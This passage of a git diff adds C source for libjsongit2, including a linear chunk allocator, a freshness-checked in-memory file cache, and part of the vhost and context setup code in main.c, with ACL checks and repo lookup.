+set the `chunk_size` arg to zero or a specific chunk size.
+
+If zero, then the allocations are made in chunks of 4000 bytes if that
+is larger than the requested size, or the requested size plus the
+necessary overhead if it's larger.  If non-zero, the chunk is sized
+exactly to `chunk_size` plus the overhead.
+
+Subsequent `jg2_lac_use()` calls will use the remaining space inside
+the current chunk if possible; if not enough remaining space it is
+skipped and a new allocation chained on.
+
+Combined with linked-list pointers being stored in the objects inside
+the LAC, it means all the linked-list pointers, and all the things
+pointed-to are stored in a small number of allocations and can be completely
+rolled up by freeing a single allocation list.  There may be thousands of
+objects in the LAC each indexed on multiple sorted lists, but it can only
+take a dozen allocations or frees to allocate and destroy the whole thing
+including all the internal lists.
+
diff --git a/lib/lac/cached-file.c b/lib/lac/cached-file.c
new file mode 100644
index 0000000..d71cb13
--- /dev/null
+++ b/lib/lac/cached-file.c
@@ -0,0 +1,206 @@
+/*
+ * libjsongit2 - linear alloc chunk
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <fcntl.h>
+#include <unistd.h>
+
+/*
+ * Helper for caching a file in memory in a lac, but also to check at intervals
+ * no less than 5s if the file is still fresh.
+ *
+ * Set *cache to NULL the first time before calling.
+ *
+ * You should call this each time before using the cache... if it's
+ *
+ *  - less than 5s since the last freshness check, and
+ *  - the file is already in memory
+ *
+ * it just returns with *cache left alone; this costs very little.  You should
+ * call `lac_use_cached_file_start()` and `lac_use_cached_file_end()` to lock
+ * the cache against deletion while you are using it.
+ *
+ * If it's
+ *
+ *  - at least 5s since the last freshness check, and
+ *  - the file timestamp has changed
+ *
+ * then
+ *
+ *  - the file is reloaded into a new lac and *cache set to that
+ *
+ *  - the old cache lac, if any, is detached (so it will be freed when its
+ *    reference count reaches zero, or immediately if nobody has it)
+ *
+ * Note the call can fail due to OOM or filesystem issue at any time.
+ *
+ *
+ * After the LAC header there is stored a `struct cached_file_info` and then
+ * the raw file contents.  *
+ *
+ *  [LAC header]
+ *  [struct cached_file_info]
+ *  [file contents]  <--- *cache is set to here
+ *
+ * The api returns a lac_cached_file_t type offset to point to the file
+ * contents.  Helpers for reference counting and freeing are also provided
+ * that take that type and know how to correct it back to operate on the LAC.
+ */
+
+#define cache_file_to_lac(c) ((struct lac *)((char *)c - \
+			      sizeof(struct cached_file_info) - \
+			      sizeof(struct lac)))
+
+void
+lac_use_cached_file_start(lac_cached_file_t cache)
+{
+	struct lac *lac = cache_file_to_lac(cache);
+
+	lac->refcount++;
+	// lwsl_debug("%s: html refcount: %d\n", __func__, lac->refcount);
+}
+
+void
+lac_use_cached_file_end(lac_cached_file_t *cache)
+{
+	struct lac *lac;
+
+	if (!cache || !*cache)
+		return;
+
+	lac = cache_file_to_lac(*cache);
+
+	if (!lac->refcount)
+		lwsl_err("%s: html refcount zero on entry\n", __func__);
+
+	if (lac->refcount && !--lac->refcount && lac->detached) {
+		*cache = NULL; /* not usable any more */
+		lac_free(&lac);
+	} // else
+		// lwsl_debug("%s: html refcount: %d\n", __func__, lac->refcount);
+}
+
+void
+lac_use_cached_file_detach(lac_cached_file_t *cache)
+{
+	struct lac *lac = cache_file_to_lac(*cache);
+
+	lac->detached = 1;
+	if (!lac->refcount) {
+		// lwsl_debug("%s: refcount zero, freeing\n", __func__);
+		*cache = NULL;
+		lac_free(&lac);
+	} //else
+		// lwsl_debug("%s: refcount %d\n", __func__, lac->refcount);
+}
+
+int
+lac_cached_file(const char *filepath, lac_cached_file_t *cache, size_t *len)
+{
+	struct cached_file_info *info = NULL;
+	lac_cached_file_t old = *cache;
+	struct lac *lac = NULL;
+	time_t t = time(NULL);
+	unsigned char *a;
+	struct stat s;
+	size_t all;
+	ssize_t rd;
+	int fd;
+
+	if (old) { /* we already have a cached copy of it */
+
+		info = (struct cached_file_info *)((*cache) - sizeof(*info));
+
+		if (t - info->last_confirm < 5)
+			/* we checked it as fresh less than 5s ago, use old */
+			return 0;
+	}
+
+	/*
+	 * ...it's been 5s, we should check again on the filesystem
+	 * that the file hasn't changed
+	 */
+
+	fd = open(filepath, O_RDONLY);
+	if (fd < 0) {
+		lwsl_err("%s: cannot open %s\n", __func__, filepath);
+
+		return 1;
+	}
+
+	if (fstat(fd, &s)) {
+		lwsl_err("%s: cannot stat %s\n", __func__, filepath);
+
+		goto bail;
+	}
+
+	if (old && s.st_mtime == info->s.st_mtime) {
+		/* it still seems to be the same as our cached one */
+		info->last_confirm = t;
+
+		close(fd);
+
+		return 0;
+	}
+
+	/*
+	 * we either didn't cache it yet, or it has changed since we cached
+	 * it... reload in a new lac and then detach the old lac.
+	 */
+
+	all = sizeof(*info) + s.st_size + 1;
+
+	info = lac_use(&lac, all, all);
+	if (!info)
+		goto bail;
+
+	info->s = s;
+	info->last_confirm = t;
+
+	a = (unsigned char *)(info + 1);
+
+	*len = s.st_size;
+	a[s.st_size] = '\0';
+
+	rd = read(fd, a, s.st_size);
+	if (rd != s.st_size) {
+		lwsl_err("%s: cannot read %s (%d)\n", __func__, filepath,
+			 (int)rd);
+		goto bail1;
+	}
+
+	close(fd);
+
+	*cache = (lac_cached_file_t)a;
+	if (old)
+		lac_use_cached_file_detach(&old);
+
+	return 0;
+
+bail1:
+	lac_free(&lac);
+
+bail:
+	close(fd);
+
+	return 1;
+}
diff --git a/lib/lac/lac.c b/lib/lac/lac.c
new file mode 100644
index 0000000..5c653fa
--- /dev/null
+++ b/lib/lac/lac.c
@@ -0,0 +1,140 @@
+/*
+ * libjsongit2 - linear alloc chunk
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+void
+list_ptr_insert(list_ptr *head, list_ptr *add, list_ptr_sort_func_t sort_func)
+{
+	while (sort_func && *head) {
+		if (sort_func(add, *head) <= 0)
+			break;
+
+		head = *head;
+	}
+
+	*add = *head;
+	*head = add;
+}
+
+size_t
+lac_align(size_t length)
+{
+	size_t align = sizeof(int *);
+
+	if (length & (align - 1))
+		length += align - (length & (align - 1));
+
+	return length;
+}
+
+void *
+lac_use(struct lac **head, size_t ensure, size_t chunk_size)
+{
+	struct lac *chunk;
+	size_t ofs, alloc;
+
+	if (!chunk_size)
+		alloc = LAC_CHUNK_SIZE + sizeof(*chunk);
+	else
+		alloc = chunk_size + sizeof(*chunk);
+
+	/* if we meet something outside our expectation, allocate to meet it */
+
+	if (ensure >= alloc - sizeof(*chunk))
+		alloc = ensure + sizeof(*chunk);
+
+	/* ensure there's a chunk and enough space in it for this name */
+
+	if (!*head || (*head)->curr->alloc_size - (*head)->curr->ofs < ensure) {
+		chunk = malloc(alloc);
+		if (!chunk) {
+			lwsl_err("OOM\n");
+			return NULL;
+		}
+
+		if (!*head)
+			*head = chunk;
+		else
+			(*head)->curr->next = chunk;
+
+		(*head)->curr = chunk;
+		(*head)->curr->head = *head;
+
+		chunk->next = NULL;
+		chunk->alloc_size = alloc;
+		chunk->detached = 0;
+		chunk->refcount = 0;
+
+		/*
+		 * belabouring the point... ofs is aligned to the platform's
+		 * generic struct alignment at the start then
+		 */
+		(*head)->curr->ofs = sizeof(*chunk);
+	}
+
+	ofs = (*head)->curr->ofs;
+
+	(*head)->curr->ofs += lac_align(ensure);
+	if ((*head)->curr->ofs >= (*head)->curr->alloc_size)
+		(*head)->curr->ofs = (*head)->curr->alloc_size;
+
+	return (char *)(*head)->curr + ofs;
+}
+
+void
+lac_free(struct lac **head)
+{
+	struct lac *it = *head;
+
+	while (it) {
+		struct lac *tmp = it->next;
+
+		free(it);
+		it = tmp;
+	}
+
+	*head = NULL;
+}
+
+void
+lac_use_start(struct lac **iter,
+		  struct lac *head)
+{
+	head->refcount++;
+	*iter = head;
+}
+
+void
+lac_use_end(struct lac *any)
+{
+	any->head->refcount--;
+	if (any->head->detached && !any->head->refcount)
+		lac_free(&any->head);
+}
+
+void
+lac_detach(struct lac *any)
+{
+	any->head->detached = 1;
+	if (!any->head->refcount)
+		lac_free(&any->head);
+}
diff --git a/lib/lac/private.h b/lib/lac/private.h
new file mode 100644
index 0000000..e73cd1b
--- /dev/null
+++ b/lib/lac/private.h
@@ -0,0 +1,106 @@
+/*
+ * libjsongit2 - linear alloc chunk
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include <sys/stat.h>
+
+/* under page size of 4096 to allow overhead */
+#define LAC_CHUNK_SIZE 4000
+
+#define list_ptr_container(P,T,M) ((T *)((char *)(P) - offsetof(T, M)))
+
+/*
+ * These lists point to their corresponding "next" member in the target, NOT
+ * the original containing struct.  To get the containing struct, you must use
+ * list_ptr_container() to convert.
+ *
+ * It's like that because it means we no longer have to have the next pointer
+ * at the start of the struct, and we can have the same struct on multiple
+ * linked-lists with everything held in the struct itself.
+ */
+typedef void * list_ptr;
+
+/*
+ * optional sorting callback called by list_ptr_insert() to sort the right
+ * things inside the opqaue struct being sorted / inserted on the list.
+ */
+typedef int (*list_ptr_sort_func_t)(list_ptr a, list_ptr b);
+
+#define list_ptr_advance(_lp) _lp = *((void **)_lp)
+
+/* sort may be NULL if you don't care about order */
+void
+list_ptr_insert(list_ptr *phead, list_ptr *add, list_ptr_sort_func_t sort);
+
+
+/*
+ * the chunk list members all point back to the head themselves so the list
+ * can be detached from the formal head and free itself when its reference
+ * count reaches zero.
+ */
+
+struct lac {
+	struct lac *next;
+	struct lac *head; /* pointer back to the first chunk */
+	struct lac *curr; /* applies to head chunk only */
+	size_t alloc_size;
+	size_t ofs; /* next writeable position inside chunk */
+	int refcount; /* applies to head chunk only */
+	char detached; /* if our refcount gets to zero, free the chunk list */
+};
+
+typedef unsigned char * lac_cached_file_t;
+
+struct cached_file_info {
+	struct stat s;
+	time_t last_confirm;
+};
+
+/* chunk_size of 0 allocates ensure + overhead */
+
+void *
+lac_use(struct lac **head, size_t ensure, size_t chunk_size);
+
+size_t
+lac_align(size_t length);
+
+void
+lac_free(struct lac **head);
+
+void
+lac_use_start(struct lac **iter, struct lac *head);
+
+void
+lac_use_end(struct lac *any);
+
+void
+lac_detach(struct lac *any);
+
+void
+lac_use_cached_file_start(lac_cached_file_t cache);
+
+void
+lac_use_cached_file_end(lac_cached_file_t *cache);
+
+void
+lac_use_cached_file_detach(lac_cached_file_t *cache);
+
+int
+lac_cached_file(const char *filepath, lac_cached_file_t *cache, size_t *len);
diff --git a/lib/main.c b/lib/main.c
new file mode 100644
index 0000000..c9753f8
--- /dev/null
+++ b/lib/main.c
@@ -0,0 +1,846 @@
+/*
+ * libjsongit2 - wrapper for libgit2 with JSON IO
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "private.h"
+
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+
+#include <sys/types.h>
+#include <sys/time.h>
+
+static struct jg2_global jg2_global;
+
+void
+jg2_repo_ref_destroy(struct jg2_ref *r)
+{
+	free(r->ref_name);
+	free(r);
+}
+
+void
+jg2_repo_reflist_destroy(struct jg2_ref *r)
+{
+	struct jg2_ref *r1;
+
+	while (r) {
+		r1 = r->next;
+		jg2_repo_ref_destroy(r);
+		r = r1;
+	}
+}
+
+void
+jg2_repo_destroy(struct jg2_repo *r)
+{
+	struct jg2_repo *r1 = r->vhost->repo_list, **ro = &r->vhost->repo_list;
+
+	free(r->repo_path);
+	if (r->repo) {
+		git_repository_free(r->repo);
+		r->repo = NULL;
+	}
+
+	/* remove from vhost repo list */
+
+	while (r1) {
+		if (r1 == r) {
+			*ro = r1->next;
+			break;
+		}
+		ro = &r1->next;
+		r1 = r1->next;
+	}
+
+	jg2_repo_reflist_destroy(r->ref_list);
+
+	pthread_mutex_destroy(&r->lock);
+
+	free(r);
+}
+
+/* requires vhost lock */
+
+int
+__jg2_vhost_reference_html(struct jg2_vhost *vh)
+{
+	char *q;
+
+	if (!vh->cfg.vhost_html_filepath)
+		return 0;
+
+	/* we hold the vhost's canned html in memory for speed */
+
+	if (lac_cached_file(vh->cfg.vhost_html_filepath, &vh->html_content,
+			    &vh->html_len))
+		return 1;
+
+	/* find the comment marker used for dynamic META */
+
+	q = strstr((char *)vh->html_content, JG2_HTML_META);
+	if (!q) {
+		lwsl_err("%s: %s lacks \"%s\" marker\n", __func__,
+			 vh->cfg.vhost_html_filepath, JG2_HTML_META);
+
+		lac_use_cached_file_detach(&vh->html_content);
+
+		return 1;
+	}
+	vh->meta = q - (char *)vh->html_content;
+
+	/* find the comment marker used for dynamic JSON */
+
+	q = strstr((char *)vh->html_content, JG2_HTML_DYNAMIC);
+	if (!q) {
+		lwsl_err("%s: %s lacks \"%s\" marker\n", __func__,
+			 vh->cfg.vhost_html_filepath, JG2_HTML_DYNAMIC);
+
+		lac_use_cached_file_detach(&vh->html_content);
+
+		return 1;
+	}
+
+	vh->dynamic = q - (char *)vh->html_content;
+
+	lac_use_cached_file_start(vh->html_content);
+
+	return 0;
+}
+
+static struct jg2_repodir *
+jg2_repodir_find_create(struct jg2_repodir **phead, const char *path)
+{
+	struct jg2_repodir *rd = *phead;
+
+	while (rd) {
+		if (!strcmp(rd->repo_base_dir, path)) {
+			rd->refcount++;
+
+			return rd;
+		}
+		rd = rd->next;
+	}
+
+	rd = jg2_zalloc(sizeof(*rd));
+	if (!rd)
+		return NULL;
+
+	if (phead == &jg2_global.cachedir_head) {
+		jg2_global.count_cachedirs++;
+		if (jg2_global.count_cachedirs == 1) {
+			if (pthread_create(&jg2_global.cache_thread, NULL,
+					   cache_trim_thread, &jg2_global)) {
+				lwsl_err("cache trim thread creation failed\n");
+				free(rd);
+				jg2_global.count_cachedirs--;
+
+				return NULL;
+			}
+		}
+	}
+
+	pthread_mutex_init(&rd->lock, NULL);
+
+	strncpy(rd->repo_base_dir, path, sizeof(rd->repo_base_dir) - 1);
+	rd->repo_base_dir[sizeof(rd->repo_base_dir) - 1] = '\0';
+
+	rd->refcount = 1;
+	rd->next = *phead;
+	*phead = rd;
+
+	return rd;
+}
+
+static void
+jg2_repodir_destroy(struct jg2_repodir **phead, struct jg2_repodir *repodir)
+{
+	struct jg2_repodir *rd = *phead, **ord = phead;
+
+	while (rd) {
+		if (rd == repodir) {
+			*ord = rd->next;
+			if (rd->batch)
+				free(rd->batch);
+			pthread_mutex_destroy(&rd->lock);
+			free(rd);
+			break;
+		}
+		ord = &rd->next;
+		rd = rd->next;
+	}
+}
+
+void jg2_safe_libgit2_init(void)
+{
+#if LIBGIT2_HAS_REFCOUNTED_INIT
+	git_libgit2_init();
+#else
+	if (!jg2_global.thread_init_refcount++)
+		git_threads_init();
+#endif
+}
+
+void jg2_safe_libgit2_deinit(void)
+{
+#if LIBGIT2_HAS_REFCOUNTED_INIT
+	git_libgit2_shutdown();
+#else
+	giterr_clear();
+	if (!--jg2_global.thread_init_refcount) {
+		git_threads_shutdown();
+	}
+#endif
+}
+
+static const char *hex = "0123456789abcdef";
+
+static int
+jg2_cache_prepare(const char *cache_base_dir, int mode, int uid)
+{
+	char dir[128];
+	int n, m;
+
+	(void)mkdir(cache_base_dir, mode);
+	(void)chown(cache_base_dir, uid, -1);
+
+	for (n = 0; n < 16; n++) {
+		lws_snprintf(dir, sizeof(dir), "%s/%c", cache_base_dir, hex[n]);
+		(void)mkdir(dir, mode);
+		(void)chown(dir, uid, -1);
+		for (m = 0; m < 16; m++) {
+			lws_snprintf(dir, sizeof(dir), "%s/%c/%c",
+				     cache_base_dir, hex[n], hex[m]);
+			(void)mkdir(dir, mode);
+			(void)chown(dir, uid, -1);
+		}
+	}
+
+	return 0;
+}
+
+struct jg2_vhost *
+jg2_vhost_create(const struct jg2_vhost_config *config)
+{
+	struct jg2_vhost *vhost;
+
+	if (!config->repo_base_dir)
+		return NULL;
+
+	vhost = malloc(sizeof(*vhost));
+	if (!vhost)
+		return NULL;
+
+	memset(vhost, 0, sizeof(*vhost));
+	vhost->cfg = *config;
+
+	pthread_mutex_init(&vhost->lock, NULL);
+
+	email_vhost_init(vhost);
+
+	if (!jg2_global.vhost_head)
+		pthread_mutex_init(&jg2_global.lock, NULL);
+
+	/* add ourselves to the global vhost list */
+
+	pthread_mutex_lock(&jg2_global.lock); /* ================ global lock */
+	vhost->vhost_list = jg2_global.vhost_head;
+	jg2_global.vhost_head = vhost;
+	pthread_mutex_unlock(&jg2_global.lock); /* ------------ global unlock */
+
+	pthread_mutex_lock(&vhost->lock); /* ===================== vhost lock */
+
+	/*
+	 * repodir and cachedir serve to resolve multiple vhosts pointing at
+	 * the same repository main dir and cache dir into a single object.
+	 */
+
+	vhost->repodir = jg2_repodir_find_create(&jg2_global.repodir_head,
+						 config->repo_base_dir);
+	if (config->json_cache_base) {
+
+		if (config->cache_uid)
+			jg2_cache_prepare(config->json_cache_base, 0700,
+					  config->cache_uid);
+
+		vhost->cachedir = jg2_repodir_find_create(
+						&jg2_global.cachedir_head,
+						config->json_cache_base);
+	}
+
+	if (vhost->cachedir && !vhost->cachedir->cache_size_limit)
+		vhost->cachedir->cache_size_limit = config->cache_size_limit;
+
+	if (vhost->cfg.vhost_html_filepath) {
+		if (__jg2_vhost_reference_html(vhost))
+			goto bail;
+
+		lac_use_cached_file_end(&vhost->html_content);
+	}
+
+	pthread_mutex_unlock(&vhost->lock); /* ----------------- vhost unlock */
+
+	jg2_safe_libgit2_init();
+
+	/* get a list of all the repos in the vhost's repo base dir */
+	jg2_conf_scan_repos(vhost);
+
+	/* acquire the ACLs to find out which repos are visible to whom */
+	jg2_conf_scan_gitolite(vhost);
+
+	return vhost;
+
+bail:
+	lwsl_err("%s: failed\n", __func__);
+	pthread_mutex_unlock(&vhost->lock); /* ----------------- vhost unlock */
+
+	free(vhost);
+
+	return NULL;
+}
+
+/* must hold vhost lock */
+
+static int
+__jg2_ctx_destroy(struct jg2_ctx *ctx)
+{
+	struct jg2_ctx **oc = NULL, *c = NULL;
+
+	if (!ctx)
+		return 0;
+
+	ctx->destroying = 1;
+
+	lac_use_cached_file_end(&ctx->vhost->html_content);
+
+	/*
+	 * closing while an incomplete job is going wouldn't be strange
+	 * (browser page closed, lost connection etc).  Get any active job
+	 * to clean up after itself (it sees ctx->destroying set).
+	 */
+	if (ctx->job) {
+		ctx->job(ctx);
+		if (ctx->fd_cache != -1) {
+			close(ctx->fd_cache);
+			unlink(ctx->cache);
+		}
+	} else
+		if (ctx->fd_cache != -1) {
+			close(ctx->fd_cache);
+			ctx->fd_cache = -1;
+		}
+
+	/* remove ourselves from "ctx using vhost" list */
+
+	c = NULL;
+	oc = &ctx->vhost->ctx_on_vh_list;
+	if (oc)
+		c = *oc;
+
+	while (c) {
+		if (c == ctx) {
+			*oc = c->ctx_on_vh_next;
+			break;
+		}
+
+		oc = &c->ctx_on_vh_next;
+		c = c->ctx_on_vh_next;
+	}
+
+	/* remove ourselves from "ctx using repo" list */
+
+	if (ctx->jrepo && ctx->jrepo->ctx_repo_list) {
+		pthread_mutex_lock(&ctx->jrepo->lock);
+
+		c = NULL;
+		oc = &ctx->jrepo->ctx_repo_list;
+		if (oc)
+			c = *oc;
+
+		while (c) {
+			if (c == ctx) {
+				*oc = c->ctx_using_repo_next;
+				break;
+			}
+
+			oc = &c->ctx_using_repo_next;
+			c = c->ctx_using_repo_next;
+		}
+
+		pthread_mutex_unlock(&ctx->jrepo->lock);
+	}
+
+#if 0
+	if (!ctx->jrepo->ctx_repo_list) {
+		/* nobody using this logical repo any more */
+		struct jg2_repo *r, **ro;
+
+		r = ctx->vhost->repo_list;
+		ro = &ctx->vhost->repo_list;
+
+		while (r) {
+			if (r == ctx->jrepo) {
+				*ro = r->next;
+				break;
+			}
+			ro = &r->next;
+			r = r->next;
+		}
+
+		jg2_repo_destroy(ctx->jrepo);
+	}
+#endif
+
+	jg2_repopath_destroy(&ctx->sr);
+
+	free(ctx->md5_ctx);
+
+	free(ctx);
+
+	return 0;
+}
+
+void
+jg2_vhost_destroy(struct jg2_vhost *vhost)
+{
+	struct jg2_repo *r, *r1;
+	struct jg2_vhost *vh, **ovh;
+
+	pthread_mutex_lock(&vhost->lock); /* ===================== vhost lock */
+
+	r = vhost->repo_list;
+
+	while (r) {
+		r1 = r->next;
+		jg2_repo_destroy(r);
+		r = r1;
+	}
+
+	lac_free(&vhost->rei_lac_head);
+	lac_free(&vhost->acl_lac_head);
+
+	giterr_clear();
+
+	jg2_safe_libgit2_deinit();
+
+	email_vhost_deinit(vhost);
+
+	if (vhost->html_content)
+		lac_use_cached_file_detach(&vhost->html_content);
+
+	pthread_mutex_unlock(&vhost->lock); /* ----------------- vhost unlock */
+
+	if (vhost->cachedir && !--vhost->cachedir->refcount) {
+		void *retval;
+
+		if (!--jg2_global.count_cachedirs)
+
+			/*
+			 * we're about to destroy things the cache thread relies
+			 * on.  Bring the cache thread to an end.
+			 */
+
+			pthread_join(jg2_global.cache_thread, &retval);
+	}
+
+	/*
+	 * remove ourselves from the repodir + cachedir
+	 * (and destroy it if last user)
+	 */
+
+	if (vhost->repodir && !--vhost->repodir->refcount)
+		jg2_repodir_destroy(&jg2_global.repodir_head, vhost->repodir);
+
+	if (vhost->cachedir && !vhost->cachedir->refcount) {
+		jg2_repodir_destroy(&jg2_global.cachedir_head, vhost->cachedir);
+	}
+
+	/* remove ourselves from the global vhost list */
+
+	pthread_mutex_lock(&jg2_global.lock); /* ================ global lock */
+
+	ovh = &jg2_global.vhost_head;
+	vh = *ovh;
+	while (vh) {
+		if (vh == vhost) {
+			*ovh = vh->vhost_list;
+			break;
+		}
+		ovh = &vh->vhost_list;
+		vh = vh->vhost_list;
+	}
+
+	pthread_mutex_unlock(&jg2_global.lock); /* ------------ global unlock */
+
+	if (!jg2_global.vhost_head)
+		/* we were the last vhost going away, destroy global assets */
+		pthread_mutex_destroy(&jg2_global.lock);
+
+	pthread_mutex_destroy(&vhost->lock);
+
+	free(vhost);
+}
+
+struct mimetype_map {
+	const char *suffix;
+	const char *mimetype;
+};
+
+static const struct mimetype_map mime[] = {
+	{ ".html",	"text/html" },
+	{ ".js",	"application/javascript" },
+	{ ".css",	"text/css" },
+	{ ".jpg",	"image/jpeg" },
+	{ ".jpeg",	"image/jpeg" },
+	{ ".pdf",	"application/pdf" },
+	{ ".png",	"image/png" },
+	{ ".svg",	"image/svg+xml" },
+	{ ".txt",	"text/plain" },
+	{ ".md",	"text/plain" },
+	{ ".zip",	"application/zip" },
+	{ ".tar.gz",	"application/gzip" },
+	{ ".tar.bz2",	"application/x-bzip2" },
+	{ ".tar.xz",	"application/x-xz" },
+};
+
+/*
+ * ctx lists are held in
+ *
+ *  - the jrepo (head jrepo->ctx_repo_list), and
+ *  - the vhost (head vh->ctx_on_vh_list)
+ */
+
+int
+jg2_ctx_create(struct jg2_vhost *vhost, struct jg2_ctx **_ctx,
+	       const struct jg2_ctx_create_args *args)
+{
+	char filepath[256], created_r = 0;
+	int m = -1, flags = args->flags;
+	struct jg2_ctx *ctx;
+	struct jg2_repo *r;
+
+	*_ctx = jg2_zalloc(sizeof(*ctx));
+	if (!*_ctx)
+		return 0;
+
+	ctx = *_ctx;
+
+	ctx->acl_user = args->authorized;
+	ctx->vhost = vhost;
+	ctx->user = args->user;
+	ctx->fd_cache = -1;
+	gettimeofday(&ctx->tv_gen, NULL);
+
+	if (args->etag_length)
+		args->etag[0] = '\0';
+
+	if (args->accept_language) {
+		strncpy(ctx->alang, args->accept_language,
+			sizeof(ctx->alang) - 1);
+		ctx->alang[sizeof(ctx->alang) - 1] = '\0';
+	} else
+		ctx->alang[0] = '\0';
+
+	jg2_repopath_split(args->repo_path, &ctx->sr);
+
+	if (ctx->sr.e[JG2_PE_NAME] && ctx->sr.e[JG2_PE_NAME][0] &&
+	    __repo_check_acl(vhost, ctx->sr.e[JG2_PE_NAME],
+			     vhost->cfg.acl_user) &&
+	    __repo_check_acl(vhost, ctx->sr.e[JG2_PE_NAME],
+			     ctx->acl_user)) {
+		lwsl_notice("%s: permission denied: %s\n", __func__,
+				ctx->sr.e[JG2_PE_NAME]);
+		m = JG2_CTX_CREATE_ACL_DENIED;
+		goto bail1;
+	}
+
+	/* bots are not allowed to use blame */
+
+	if ((flags & JG2_CTX_FLAG_BOT) && ctx->sr.e[JG2_PE_MODE] &&
+	    !strcmp(ctx->sr.e[JG2_PE_MODE], "blame"))
+		ctx->sr.e[JG2_PE_MODE] = "tree";
+
+	/* figure out if we are in blog mode with this repo... either by
+	 * vhost association to a specific blog repo... */
+
+	ctx->blog_mode = !!(vhost->cfg.flags & JG2_VHOST_BLOG_MODE);
+	if (ctx->blog_mode && vhost->cfg.blog_repo_name) {
+		if (ctx->sr.e[JG2_PE_NAME])
+			free((char *)ctx->sr.e[JG2_PE_NAME]);
+		ctx->sr.e[JG2_PE_NAME] = strdup(vhost->cfg.blog_repo_name);
+		if (!ctx->sr.e[JG2_PE_NAME]) {
+			m = JG2_CTX_CREATE_OOM;
+			goto bail1;
+		}
+	}
+
+	/*
+	 * ... or because the description for the repo the URL points to
+	 * begins with '+'.
+	 */
+
+	if (ctx->sr.e[JG2_PE_NAME]) {
+		const char *str;
+		const struct repo_entry_info *rei;
+
+		rei = jg2_lookup_repo_config(vhost, ctx->sr.e[JG2_PE_NAME]);
+		if (rei) {
+			str = jg2_rei_string(rei, REI_STRING_CONFIG_DESC);
+
+			if (str && str[0] == '+')
+				ctx->blog_mode = 1;
+		}
+	}
+
+	if (ctx->blog_mode && !ctx->sr.e[JG2_PE_MODE])
+		ctx->sr.e[JG2_PE_MODE] = "blog";
+
+	/* /plain/, /snapshot/, /patch/ overrides sandwich mode */
+
+	if (ctx->sr.e[JG2_PE_MODE] && jg2_job_naked(ctx))
+		flags &= ~JG2_CTX_FLAG_HTML;
+
+	ctx->flags = flags;
+	ctx->html_state = flags & JG2_CTX_FLAG_HTML ? HTML_STATE_HTML_META :
+							 HTML_STATE_JOB1;
+
+	*args->mimetype = "text/html; charset=utf-8";
+	*args->length = 0;
+
+	if (ctx->sr.e[JG2_PE_MODE] &&
+	    !strcmp(ctx->sr.e[JG2_PE_MODE], "patch"))
+		*args->mimetype = "text/plain; charset=utf-8";
+
+
+	ctx->md5_ctx = vhost->cfg.md5_alloc();
+
+	if (!ctx->sr.e[JG2_PE_NAME] ||
+	    !ctx->sr.e[JG2_PE_NAME][0]) {
+		/* not having a reponame is legal (shows repo list) */
+		return 0;
+	}
+
+	/* we never want to make gitolite-admin available... */
+
+	if (!strcmp(ctx->sr.e[JG2_PE_NAME], "gitolite-admin")) {
+		lwsl_err("%s: requested illegal repo\n", __func__);
+		m = 1;
+		goto bail1;
+	}
+
+	pthread_mutex_lock(&vhost->lock); /* ===================== vhost lock */
+
+	lws_snprintf(filepath, sizeof(filepath), "%s/%s.git",
+		     vhost->cfg.repo_base_dir, ctx->sr.e[JG2_PE_NAME]);
+
+	/* is the repo already open? */
+
+	r = vhost->repo_list;
+	while (r) {
+
+		if (!strcmp(r->repo_path, filepath)) {
+			/* the new ctx knows its using this jrepo then... */
+			ctx->jrepo = r;
+			/*
+			 * insert into ctx into the jrepo's
+			 * list of ctx using it
+			 */
+			pthread_mutex_lock(&r->lock); /* ==========jrepo lock */
+			ctx->ctx_using_repo_next = r->ctx_repo_list;
+			r->ctx_repo_list = ctx;
+			pthread_mutex_unlock(&r->lock); /*-------jrepo unlock */
+			/* (keep vhost lock) */
+			goto do_mime;
+		}
+
+		r = r->next;
+	}
+
+	/* no, we have to create it */
+
